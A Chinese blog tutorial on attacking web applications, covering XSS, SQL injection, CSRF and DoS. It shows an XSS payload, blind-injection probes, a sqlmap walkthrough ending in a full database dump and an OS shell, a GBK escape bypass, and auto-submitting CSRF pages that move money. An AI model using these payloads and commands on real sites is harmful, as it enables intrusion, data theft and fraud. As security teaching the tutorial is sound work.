Web 程序的渗透方式(一)

相对于客户端,运行着 web 程序的服务器由于其拥有丰富的资源、对外公开的特性和复杂的业务逻辑对于黑客来说往往拥有更大的吸引力和攻破的可能性。
本文旨在总结针对 web 程序的攻击方式,这些方式造成的后果不一,小到会话劫持,大到直接拿到服务器的管理员权限,这完全取决于 web 程序的安全设置,但从根本上来说,这些安全问题都是可以彻底避免的。

跨站脚本攻击(XSS)

原理:

服务器没有对用户的输入做到充足的过滤,导致页面被嵌入恶意脚本

分类:

  • 反射型:只能通过用户点击恶意构造的链接才能触发攻击
  • 存储型:恶意代码保存在服务器,只要有人访问该页面就会触发攻击

效果:

  • 通过获取用户的 cookie,实现会话劫持
  • 通过在页面伪造表单,获取用户的账号密码
  • XSS 蠕虫

实现方式:

在可提交的输入框中构造输入,有时需要闭合引号,中括号等,有时需要对输入进行编码以绕过 WAF。
一般情况下,手动查找 XSS 注入点通常需要结合查看网页的源代码,找到自己的输入出现在了页面的哪个地方,然后根据该点附近的上下文构造恶意代码,比如,一个用 php 编写的页面为:
<? php $input = $_GET["param"]; echo "<div>".$input."</div>"; ?>
在正常情况下,用户的请求会在页面中显示出来。但是如果提供给 param 的参数是一段 HTML 代码,那么浏览器就会将它当做代码解析执行

实例:

在某个网页中,存在如下输入框:

正常页面

经测试,发现 User ID 的输入框中存在反射型的 XSS 漏洞,在该输入框中构造输入:test" onmouseover=prompt(100) bad=',点击 Go 提交该输入后,在返回的页面中已被嵌入了恶意代码,当鼠标移动到 User ID 上后,会弹出一个提示框

XSS 后的页面

查看网页的源代码,可以发现 User ID 这个输入框确实被我们的输入控制了

XSS 后的页面和正常页面的源码比较

值得注意的地方

  • 如果在前端过滤用户输入的话,可以使用 Burp Suite 等工具绕过过滤
  • 设置 HttpOnly 可以禁止客户端的脚本访问 cookie,但是依然可以通过抓包的方式获取到 cookie

SQL 注入

原理:

服务器没有对用户的输入做到充分的过滤,导致可执行任意 SQL 语句

效果:

  • 如果当前用户具有对数据库的读权限,导致数据库信息泄露
  • 如果当前用户具有对数据库的读写权限,可对数据库进行任意修改
  • 如果当前用户具有对数据库的管理员权限,可对数据库的用户及数据库进行任意操作
  • 如果当前用户具有对文件系统的写权限,可直接获得 webshell

实现方式:

在可提交的输入框中构造 SQL 语句,有时需要闭合引号等,有时需要对输入进行编码以绕过 WAF。
当尝试某个注入点时,一般情况下,web 服务器会关闭错误回显,此时的注入方式称为<b>盲注(Blind Injection)</b>,盲注又分为<b>基于 boolean 的盲注</b>,<b>基于时间的盲注</b>和<b>基于报错的盲注</b>等,比如,一个应用的 URL 如下:
www.examlple.com/passages.php?id=3
后台执行的 SQL 语句为:
SELECT * FROM passages p WHERE p.id=3
如果攻击者构造如下条件语句:
www.examlple.com/passages.php?id=3 and 1=2
那么实际执行的 SQL 语句应为:
SELECT * FROM passages p WHERE p.id=3 and 1=2
由于 1=2 永远为 false,对于 web 应用来说,它不会将出错信息返回给用户,所以此时返回的页面应为空白页面或出错页面。
此时,再构造请求如下:
www.examlple.com/passages.php?id=3 and 1=1
如果页面返回正常,说明参数 id 存在 SQL 注入漏洞

实例:

目前,已经有成熟的工具专门检测某个 URL 是否存在 SQL 注入漏洞,并对其加以利用。
sqlmap 是一款出色的 SQL 注入工具,要测试某个 URL 是否存在注入点并加以利用,一般步骤如下:

  1. 使用 -u 参数检查是否存在注入点,如:
    sqlmap -u "www.example.com/passages.php?id=3"
  2. 使用 --dbs 来获取所有数据库,如:
    sqlmap -u "www.example.com/passages.php?id=3" --dbs
  3. 使用 --current-db 查看当前应用程序所用数据库,如:
    sqlmap -u "www.example.com/passages.php?id=3" --current-db
  4. 使用 -D 配合 --tables 查看某个数据库中的所有表,如:
    sqlmap -u "www.example.com/passages.php?id=3" -D online2016 --tables
  5. 使用 -D 和 -T 配合 --columns 查看某个表中的所有字段,如:
    sqlmap -u "www.example.com/passages.php?id=3" -D online2016 -T users --columns
  6. 使用 -- dump 可获取整个数据库信息,如:
    sqlmap -u "www.example.com/passages.php?id=3" --dump -D online2016
  7. 使用 --sql-query 可以执行任意 SQL 语句,如:
    sqlmap -u "www.example.com/passages.php?id=3" --sql-query="SELECT * FROM users"
  8. 使用 --os-shell 获取服务器的 shell,如:
    sqlmap -u "www.example.com/passages.php?id=3" --os-shell

值得注意的地方:

  • 有时 web 程序会用转义字符的方式转义特殊字符,然而,如果数据库使用的编码方式与 web 程序不同时,特别是数据库使用的是双字节字符编码,而负责过滤的 web 程序使用的是单字节字符编码,可能会导致过滤失败。例如,数据库使用了 GBK 编码,而 web 应用使用的是 ASCII 编码,当用户输入 0xbf27 时,由于 27 是单引号 ',web 程序会将其转义,变成 0xbf5c27,但是在数据库中,由于使用的是 GBK 编码,会将 bf5c 认为是一个字符,从而再次暴露了单引号 '
  • HTTP 参数污染有时可以绕过 WAF 的过滤

跨站请求伪造(CSRF)

原理:

由于
简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的
                                ——维基百科
用户访问完某个网站之后,浏览器会在一定时间内保存这个网站产生的 cookie,如果在这个 cookie 的有效期内,攻击者可以利用浏览器再次访问网站时会自动带上 cookie 的特性伪造请求,实现了 CSRF

效果:

可以执行任意在用户的权限内的操作

实现方式:

在可跨域的标签如imgiframe中构造恶意 url,或构造使用 post 方法的表单并诱导用户访问该页面,即可实现攻击

实例:

摘自 浅谈 CSRF 攻击方式
示例 1:
银行网站 A,它以 GET 请求来完成银行转账的操作,如:
http://www.mybank.com/Transfer.php?toBankId=11&money=1000
危险网站 B,它里面有一段 HTML 的代码如下:
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
首先,你登录了银行网站 A,然后访问危险网站 B,噢,这时你会发现你的银行账户少了 1000 块......
为什么会这样呢?原因是银行网站 A 违反了 HTTP 规范,使用 GET 请求更新资源。在访问危险网站 B 的之前,你已经登录了银行网站 A,而 B 中的<img>以 GET 的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站 A 的 Cookie 发出 Get 请求,去获取资源
http://www.mybank.com/Transfer.php?toBankId=11&money=1000
结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作......
示例 2:
为了杜绝上面的问题,银行决定改用 POST 请求完成转账操作。
银行网站 A 的 WEB 表单如下:
<form action="Transfer.php" method="POST">
<p>ToBankId: <input type="text" name="toBankId" /></p>
<p>Money: <input type="text" name="money" /></p>
<p><input type="submit" value="Transfer" /></p> </form>
后台处理页面Transfer.php如下:
<?php session_start(); if (isset($_REQUEST['toBankId'] && isset($_REQUEST['money']) { buy_stocks($_REQUEST['toBankId'], $_REQUEST['money']); } ?>
危险网站 B,仍然只是包含那句HTML代码:
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
和示例 1 中的操作一样,你首先登录了银行网站 A,然后访问危险网站 B,结果.....和示例 1 一样,你再次没了 1000 块~T_T,这次事故的原因是:银行后台使用了 _REQUEST 去获取请求的数据,而_REQUEST 既可以获取GET请求的数据,也可以获取 POST 请求的数据,这就造成了在后台处理程序无法区分这到底是 GET 请求的数据还是 POST 请求的数据。在 PHP 中,可以使用 _GET 和_POST 分别获取 GET 请求和 POST 请求的数据。在 JAVA中,用于获取请求数据 request 一样存在不能区分 GET请求数据和 POST 数据的问题。
示例 3:
经过前面 2 个惨痛的教训,银行决定把获取请求数据的方法也改了,改用 _POST,只获取 POST 请求的数据,后台处理页面 Transfer.php 代码如下: `<?php session_start(); if (isset(_POST['toBankId'] && isset(_POST['money'])) {    buy_stocks(_POST['toBankId'], $_POST['money']);
}
?>`
然而,危险网站 B 与时俱进,它改了一下代码:

<html>
  <head>
    <script type="text/javascript">
    function steal() { 
      iframe = document.frames["steal"];
      iframe.document.Submit("transfer");
    }
    </script>
</head>
<body onload="steal()">
    <iframe name="steal" display="none">
      <form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">
        <input type="hidden" name="toBankId" value="11">
        <input type="hidden" name="money" value="1000">
      </form>
    </iframe>
  </body>
</html>

如果用户仍是继续上面的操作,很不幸,结果将会是再次不见1000块......因为这里危险网站 B 暗地里发送了 POST 请求到银行!

值得注意的地方

  • P3P Header(The Platform for Privacy Preferences Header)
    在浏览网站的过程中,如果一个网站设置了 Session Cookie,那么在浏览器进程的生命周期内,Session Cookie 一直都是有效的,它被保存在浏览器的内存空间中,而 Third-party Cookie 则保存在本地。
    如果浏览器从一个域的页面中加载另一个域的资源,某些浏览器的安全设置会阻止 Third-party Cookie 的发送。
    然而,这些浏览器的对于 Third-party Cookie 的行为在 P3P Header 引入之后变得复杂起来
    P3P Header 是 W3C 指定的一项关于隐私的标准。如果网站返回给浏览器的 HTTP 头中包含有 P3P 头,那么在一定程度上将允许浏览器发送第三方 cookie。所以不能依赖于浏览器对 Third-party Cookie 的拦截策略防御 CSRF。
  • XSS 让 CSRF 更强大!
    一些网站防御 CSRF 的方式是通过在返回的 HTML 文档中加入随机的 token,或是在 cookie 中加入随机值。有了 XSS 的帮助,攻击者有了获取 HTML 文档和 cookie 的能力,一定程度上加大了 CSRF 的危害

拒绝服务(DoS)

如果说上面的所有攻击方式都是可以通过合理的安全设置来完全避免的,那么可以说 DoS 是无法通过安全的设置完全避免的。

原理:

由于服务器资源有限,当请求的服务资源达到服务器承载上限时,服务器就无法再为别的请求提供服务了

效果:

拒绝服务

实现方式:

参见 DDoS攻击方式

值得注意的地方

在 web 程序中,特别是在使用 PHP 等安全性不是特别完善的语言编写的 web 程序中,DoS 可以通过某个函数或者某项业务的实现逻辑实现,如 CVE-2016-7417
应用层 DDoS 还可以通过篡改某个流量很大的网站,将巨大的流量分流到目标网站,造成目标网站拒绝服务

更多 DoS 的细节

参考资料:
CVE details
sqlmap 用户手册
详解 SQL 盲注
浅谈 CSRF 攻击方式
HTTP parameter pollution
《白帽子讲 Web 安全》
《Web 安全深度剖析》

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,772评论 6 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,458评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,610评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,640评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,657评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,590评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,962评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,631评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,870评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,611评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,704评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,386评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,969评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,944评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,179评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,742评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,440评论 2 342

推荐阅读更多精彩内容